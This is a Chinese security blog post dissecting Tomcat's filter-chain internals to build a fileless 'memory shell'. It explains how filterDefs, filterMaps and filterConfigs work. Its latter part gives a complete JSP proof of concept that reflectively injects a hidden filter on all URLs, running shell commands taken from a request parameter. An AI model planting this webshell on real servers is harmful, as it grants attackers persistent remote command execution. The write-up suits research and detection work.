前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Tomcat内存马之Filter内存马剖析

Tomcat内存马之Filter内存马剖析

作者头像
Al1ex
发布于 2025-02-08 06:25:02
发布于 2025-02-08 06:25:02
19101
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:1
代码可运行
基本介绍

在Tomcat中Filter是一种可用于拦截HTTP请求和响应的组件,Filter可以在请求到达Servlet之前对请求进行预处理,在响应返回给客户端之前对响应进行后处理,从而实现一些共性的处理逻辑,比如:日志记录、权限校验、字符编码转换等

动态注册

Apache Tomcat 7开始支持Servlet 3.0,Servlet 3.0引入了一项重要的特性——动态注册功能,这一功能使得开发者能够在运行时动态地注册Servlets、Fliter、Listener,而无需在web.xml配置文件中进行静态配置,这种灵活性大大简化了Web应用程序的管理和扩展,同时也为我们构造Tomcat中间件内存马奠定了基础,而无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册,Servlet、Listener、Filter都是由javax.servlet.ServletContext去加载,从下面我们可以看到ServletContext提供了add*/create*方法来实现动态注册的功能

接口示例

Tomcat中的Filter需要实现javax.servlet.Filter接口,该接口包括三个方法:

  • init(FilterConfig filterConfig):Filter被初始化时调用,可以获取Filter的配置信息
  • doFilter(ServletRequest request, ServletResponse response, FilterChain chain):在该方法中编写拦截逻辑,通过调用chain.doFilter(request, response)可以将请求传递给下一个Filter或Servlet
  • destroy():在Filter被销毁时调用,可以进行资源释放等操作
过滤处理

Filter容器用于对请求和响应进行过滤和处理,流程大致如下所示:

简易示例

下面我们先写一个简单的Filter:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.al1ex.servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/test")
public class Shell_Filter implements Filter {

    public void init(FilterConfig filterConfig) {
        System.out.println("[*] Filter初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[*] Filter执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    public void destroy() {
        System.out.println("[*] Filter已销毁");
    }
}

从下面可以看到这里跑起来之后,控制台输出[*] Filter初始化创建,当我们访问/test路由的时候,控制台继续输出[*] Filter执行过滤操作,当我们结束tomcat的时候,会触发destroy方法,从而输出[*] Filter已销毁

调试分析

我们在上面的doFilter函数这里下断点进行调试

随后可以获取到下面的调用栈信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
doFilter:17, Shell_Filter (com.al1ex.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

随后我们回退并跟进org.apache.catalina.core.StandardWrapperValve#invoke,在这里跟进变量filterChain,找到定义处的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

随后我们查看该方法

(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
        if (servlet == null) {
            return null;
        } else {
            ApplicationFilterChain filterChain = null;
            if (request instanceof Request) {
                Request req = (Request)request;
                if (Globals.IS_SECURITY_ENABLED) {
                    filterChain = new ApplicationFilterChain();
                } else {
                    filterChain = (ApplicationFilterChain)req.getFilterChain();
                    if (filterChain == null) {
                        filterChain = new ApplicationFilterChain();
                        req.setFilterChain(filterChain);
                    }
                }
            } else {
                filterChain = new ApplicationFilterChain();
            }

            filterChain.setServlet(servlet);
            filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
            StandardContext context = (StandardContext)wrapper.getParent();
            FilterMap[] filterMaps = context.findFilterMaps();
            if (filterMaps != null && filterMaps.length != 0) {
                DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
                String requestPath = null;
                Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
                if (attribute != null) {
                    requestPath = attribute.toString();
                }

                String servletName = wrapper.getName();
                FilterMap[] arr$ = filterMaps;
                int len$ = arr$.length;

                int i$;
                FilterMap filterMap;
                ApplicationFilterConfig filterConfig;
                for(i$ = 0; i$ < len$; ++i$) {
                    filterMap = arr$[i$];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            filterChain.addFilter(filterConfig);
                        }
                    }
                }

                arr$ = filterMaps;
                len$ = arr$.length;

                for(i$ = 0; i$ < len$; ++i$) {
                    filterMap = arr$[i$];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            filterChain.addFilter(filterConfig);
                        }
                    }
                }

                return filterChain;
            } else {
                return filterChain;
            }
        }
    }

我们在该方法和下面定义filterMaps那行下断点进行调试,可以看到这段代码先是判断servlet是否为空,如果是就表示没有有效的servlet,无法创建过滤器链,然后根据传入的ServletRequest的类型来分类处理,如果是Request类型并且启用了安全性,那么就创建一个新的ApplicationFilterChain,如果没启用就尝试从请求中获取现有的过滤器链,如果不存在就创建一个新的,接着是设置过滤器链的Servlet和异步支持属性,关键点在于后面从Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap),最后遍历过滤器映射数组并根据请求的DispatcherType和请求路径匹配过滤器,随后将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链

从createFilterChain函数我们可以清晰地看到filterChain对象的创建过程:

  • 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  • 随后通过wrapper.getParent()函数来获取StandardContext对象
  • 然后获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  • 紧接着根据Filter的名称在StandardContext中获取FilterConfig
  • 最后通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中

随后我们继续跟进这里的FilterChain.doFilter

可以看到这里又调用了internalDoFilter

在这个方法中会依次拿到filterConfig和filter:

在这里我们的目的是打入内存马,也就是要动态地创建一个Filter,回顾之前的调试过程我们发现在createFilterChain那个函数里面有两个关键点:org.apache.catalina.core.StandardContext#findFilterMaps和findFilterConfig

实现代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public FilterMap[] findFilterMaps() {
    return filterMaps.asArray();
}   

public FilterConfig findFilterConfig(String name) {
    return (FilterConfig)this.filterConfigs.get(name);
}

那么也就是说我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置就可以实现动态添加过滤器了,那也就是说我们现在的问题就转化为如何添加filterMap和filterConfig,我们搜索关键词addFilterMap即可看到在StandardContext中有两个相关的方法——addFilterMap和addFilterMapBefore,其中addFilterMap是在一组映射末尾添加新的我们自定义的新映射,而addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去无需再手动排序:

在这里我们跟进addFilterMapBefore可以看到此函数中第一步是先执行org.apache.catalina.core.StandardContext#validateFilterMap这个函数,从下面可以看到如果要使用addFilterMapBefore,那么我们就必须要保证它在根据filterName找filterDef的时候能找到,也就是说我们还得自定义filterDef并把它加入到filterDefs:

添加我们可以通过org.apache.catalina.core.StandardContext#addFilterDef来实现

随后我们还得去找寻filterConfig如何添加,经过搜索发现不存在类似上面的addFilterConfig这种方法

但是有filterStart和filterStop这两个方法:

源代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    public boolean filterStart() {
        if (this.getLogger().isDebugEnabled()) {
            this.getLogger().debug("Starting filters");
        }

        boolean ok = true;
        synchronized(this.filterConfigs) {
            this.filterConfigs.clear();
            Iterator i$ = this.filterDefs.entrySet().iterator();

            while(i$.hasNext()) {
                Map.Entry<String, FilterDef> entry = (Map.Entry)i$.next();
                String name = (String)entry.getKey();
                if (this.getLogger().isDebugEnabled()) {
                    this.getLogger().debug(" Starting filter '" + name + "'");
                }

                try {
                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                    this.filterConfigs.put(name, filterConfig);
                } catch (Throwable var8) {
                    Throwable t = var8;
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
                    ok = false;
                }
            }

            return ok;
        }
    }

    public boolean filterStop() {
        if (this.getLogger().isDebugEnabled()) {
            this.getLogger().debug("Stopping filters");
        }

        synchronized(this.filterConfigs) {
            Iterator i$ = this.filterConfigs.entrySet().iterator();

            while(i$.hasNext()) {
                Map.Entry<String, ApplicationFilterConfig> entry = (Map.Entry)i$.next();
                if (this.getLogger().isDebugEnabled()) {
                    this.getLogger().debug(" Stopping filter '" + (String)entry.getKey() + "'");
                }

                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)entry.getValue();
                filterConfig.release();
            }

            this.filterConfigs.clear();
            return true;
        }
    }

到这里可以看到如果要添加filterConfig,那么就只能通过反射的方法去获取相关属性并添加进去

三个Filter

下面我们看一下FilterConfig、FilterDef和FilterMaps:

在我们调试跟进createFilterChain函数时,其实我们是能看到此时的上下文对象StandardContext是包含了这三者的:

filterConfigs

filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息:

其中filterDef存放了filter的定义,包括filterClass、filterName等信息,对应的其实就是web.xml中的<filter>标签

filterDefs

filterDefs是一个HashMap,它以键值对的形式存储filterDef

filterMaps

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns

动态注册

下面我们的任务就是构造含有恶意filter的FilterMaps和FilterConfig对象并将FilterConfig添加到filter链,而经过上面的分析,我们可以总结出动态添加恶意Filter的思路:

  • 获取StandardContext
  • 继承并编写一个恶意filter
  • 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
  • 实例化一个FilterMap类并将我们的Filter和urlpattern相对应,使用addFilterMapBefore添加到StandardContext.filterMaps
  • 使用反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中
第一个任务

首先第一个任务就是要获取一个StandardContext,这个和之前的《Tomcat内存马之Servlet》中的操作一样,这里先获取当前的servlet上下文并拿到其私有字段context,然后设置可访问,这样就可以通过反射这个context字段的值,这个值是一个ApplicationContext对象,接着获取ApplicationContext的私有字段context并设置可访问,然后获取ApplicationContext的context字段的值——StandardContext对象

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   //获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

随后获取StandardContext的私有字段filterConfigs,设置可访问之后通过反射获取StandardContext的filterConfigs字段的值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    //使用反射获取filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
第二个任务

第二个任务是编写一个恶意的Filter

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {
            }

            @Override
            public void destroy() {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                String cmd = httpServletRequest.getParameter("cmd");
                if(System.getProperty("os.name").toLowerCase().contains("windows")) {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                } else if(System.getProperty("os.name").toLowerCase().contains("linux")) {
                    InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream();
                    Scanner s = new Scanner(in, "UTF-8").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("UTF-8");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };
其他的任务

随后定义我们自己的filterDef和FilterMap并加入到srandardContext中,接着反射获取ApplicationFilterConfig类的构造函数并将构造函数设置为可访问,然后创建了一个ApplicationFilterConfig对象的实例,接着将刚刚创建的实例添加到过滤器配置的Map中,使用filterName为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
        //定义filterDef和FilterMap并加入到srandardContext中
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
        out.print("[+]&nbsp;&nbsp;&nbsp;&nbsp;Malicious filter injection successful!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Filter name: " + filterName + "<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Below is a list displaying filter names and their corresponding URL patterns:");
        out.println("<table border='1'>");
        out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");

        List<String[]> allUrlPatterns = new ArrayList<>();
        for (Object filterConfigObj : filterConfigs.values()) {
            if (filterConfigObj instanceof ApplicationFilterConfig) {
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
                String filtername = filterConfig.getFilterName();
                FilterDef filterdef = standardContext.findFilterDef(filtername);
                if (filterdef != null) {
                    FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (FilterMap filtermap : filterMaps) {
                        if (filtermap.getFilterName().equals(filtername)) {
                            String[] urlPatterns = filtermap.getURLPatterns();
                            allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中

                            out.println("<tr><td>" + filtername + "</td>");
                            out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
                        }
                    }
                }
            }
        }
        out.println("</table>");
        for (String[] urlPatterns : allUrlPatterns) {
            for (String pattern : urlPatterns) {
                if (!pattern.equals("/*")) {
                    out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;shell: http://localhost:8080/ServletTest" + pattern + "?cmd=ipconfig<br>");
                }
            }
        }
    }
完整POC

下面是完整的内存马示例代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>

<%
    //获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //使用反射获取filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);

    //获取filterConfigs、构造filterName
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    String filterName = getRandomString();

    //继承并编写一个恶意filter
    if (filterConfigs.get(filterName) == null) {
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {
            }

            @Override
            public void destroy() {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                String cmd = httpServletRequest.getParameter("info");
                if(System.getProperty("os.name").toLowerCase().contains("windows")) {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                } else if(System.getProperty("os.name").toLowerCase().contains("linux")) {
                    InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream();
                    Scanner s = new Scanner(in, "UTF-8").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("UTF-8");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };

        //定义filterDef和FilterMap并加入到srandardContext中
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
        out.print("Malicious filter injection successful!");
    }
%>
<%!
    private String getRandomString() {
        String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        StringBuilder randomString = new StringBuilder();
        for (int i = 0; i < 8; i++) {
            int index = (int) (Math.random() * characters.length());
            randomString.append(characters.charAt(index));
        }
        return randomString.toString();
    }
%>

执行并访问如下所示:

命令执行:

参考连接

https://www.cnblogs.com/xfeiyun/p/16742474.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-02-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
JAVA 内存马学习之Filter型
https://blog.csdn.net/gaoqingliang521/article/details/108677301
yulate
2023/05/02
6200
JAVA 内存马学习之Filter型
基于filter的内存马
主要是通过过滤器来拦截severlet请求中的参数,作为过滤器中的参数,来调用自定义过滤器中的恶意函数
红队蓝军
2022/05/17
3730
基于filter的内存马
tomcat Listener,Filter内存马简要分析
tomcat 主要包含四种容器:Engine,Host,Context,Wrapper。其对应关系如下图
ConsT27
2022/02/11
1.1K0
tomcat Listener,Filter内存马简要分析
Tomcat Filter之动态注入
最近,看到好多不错的关于“无文件Webshell”的文章,对其中利用上下文动态的注入Filter的技术做了一下简单验证,写一下测试总结,不依赖任何框架,仅想学习一下tomcat的filter。
CN_Simo
2020/07/07
1.3K0
java安全之结合CC链注入无文件Tomcat内存马
Tomcat内存马基础可以看我的上一篇:https://www.0kai0.cn/?p=240 前言-fliter等内存马局限 具体新建servlet的过程: https://blog.csdn.ne
亿人安全
2023/02/28
1.1K0
java安全之结合CC链注入无文件Tomcat内存马
请问您今天要来点兔子还是内存马呢?
内存马的形式有三种,filter、servlet、listener,优先级为listener>filter>servlet。
辞令
2020/12/22
6080
请问您今天要来点兔子还是内存马呢?
JavaWeb 内存马技术归纳
本文以Tomcat 9为核心学习并归纳了一些内存马技术,除有特殊说明外的章节外,本文使用Java 8u292
黑白天安全
2022/02/24
2.2K0
JavaWeb 内存马技术归纳
免杀与免检测shell网页后门脚本
描述: 调试了 tomcat 从接收到一个socket, 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程
全栈工程师修炼指南
2020/10/23
6800
免杀与免检测shell网页后门脚本
一文了解内存马
随着攻防对抗的博弈愈发激烈,流量分析、EDR等专业安全设备被防守方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,webshell终于进入内存马时代,其关键在于无文件,利用中间件的进程执行恶意代码。本文试图进行一个学习,尽可能搞明白其来龙去脉
中龙技术
2022/09/29
1K0
一文了解内存马
内存马即学即用
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
红队蓝军
2024/06/18
2710
内存马即学即用
Tomcat中Filter是怎样执行的
Filter是什么?Filter是servlet规范中定义的java web组件, 在所有支持java web的容器中都可以使用 它是位于前端请求到servlet之间的一系列过滤器,也可以称之为中间件,它主要是对请求到达servlet之前做一些额外的动作:
tunsuy
2022/10/27
6530
tomcat6下的Filter内存马注入
首先,tomcat6下的StandardContext的获取可以参考先知的这篇文章:https://xz.aliyun.com/t/9914
谢公子
2022/01/20
1.3K0
tomcat6下的Filter内存马注入
透过源码学习设计模式1—Servlet Filter和责任链模式
相信大家都熟悉Servlet中Filter过滤器,我们可以在servlet和servlet容器之间插入Filter过滤器来包装、预处理请求,或者包装、处理响应。过滤器本身不知道自己的顺序。而是由FilterChain按照web.xml中的配置顺序执行的,确切的说,按照<filter-mapping>的顺序执行的。而调用完chain.doFilter()方法后,即当filter链中的filter都按顺序执行完毕,像堆栈一样,filter又从最后的一个开始执行。
java达人
2019/05/13
1.7K0
透过源码学习设计模式1—Servlet Filter和责任链模式
【Tomcat】《How Tomcat Works》英文版GPT翻译(第十一章)
You have learned in Chapter 5 that there are four types of containers: engine, host, context, and wrapper. You have also built your own simple contexts and wrappers in previous chapters. A context normally has one or more wrappers, in which each wrapper represents a servlet definition. This chapter will now look at the standard implementation of the Wrapper interface in Catalina. It starts by explaining the sequence of methods that get invoked for each HTTP request and continues with the javax.servlet.SingleThreadModel interface. The chapter concludes by explaining the StandardWrapper and StandardWrapperValve classes. The application that accompanies this chapter uses StandardWrapper instances to represents servlets.
阿东
2024/01/19
1920
【Tomcat】《How Tomcat Works》英文版GPT翻译(第十一章)
从零开始手写Tomcat的教程11节----StandardWrapper
记录已经创建的存活的servlet对象实例个数,包括STM和non-STM的servlet类实例
大忽悠爱学习
2022/05/10
5240
从零开始手写Tomcat的教程11节----StandardWrapper
一起学设计模式 - 责任链模式
定义如下:一个请求有多个对象来处理,这些对象形成一条链,根据条件确定具体由谁来处理,如果当前对象不能处理则传递给该链中的下一个对象,直到有对象处理它为止。 责任链模式通过将请求和处理分离开来,以进行解耦。职责链模式结构的核心在于引入了一个抽象处理者。
battcn
2018/08/03
3380
一起学设计模式 - 责任链模式
内存马的攻防博弈之旅
攻防对抗中,权限维持作为后渗透的基础,在攻防的对抗中,乃是兵家必争之地。Webshell作为Web安全领域中最基础的权限维持的方式,也在不断地变化发展,涌现出各种大马,小马,一句话密码,加密混淆木马等实现方式。但随着基于文件的检测技术的发展,此类文件型的Webshell越来越容易被检测出来。因此,基于无文件攻击技术的内存马就开始大展身手。
绿盟科技研究通讯
2022/03/11
1.5K0
内存马的攻防博弈之旅
Tomcat源码解析(八):一个请求的执行流程(附Tomcat整体总结)
Tomcat源码解析(四):StandardServer和StandardService
Java微观世界
2025/01/21
2540
Tomcat源码解析(八):一个请求的执行流程(附Tomcat整体总结)
Tomcat卷二---请求流程源码分析
设计了这么多层次的容器,Tomcat是怎么确定每一个请求应该由哪个Wrapper容器里的 Servlet来处理的呢?
大忽悠爱学习
2022/05/09
7910
Tomcat卷二---请求流程源码分析
责任链模式了解一下
责任链模式(Chain of Responsibilty Pattern)避免请求发送者与接收者耦合在一起,让多个对象处理器都有可能接收请求,将这些对象处理器连接成一条链,并且沿着这条链传递请求,直到有对象处理它为止。责任链模式是属于行为型模式。责任链模式的核心就是设计好一个请求链以及链结束的标识。 下面先看一个责任链的demo。
码农飞哥
2021/08/18
3360
相关推荐
JAVA 内存马学习之Filter型
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验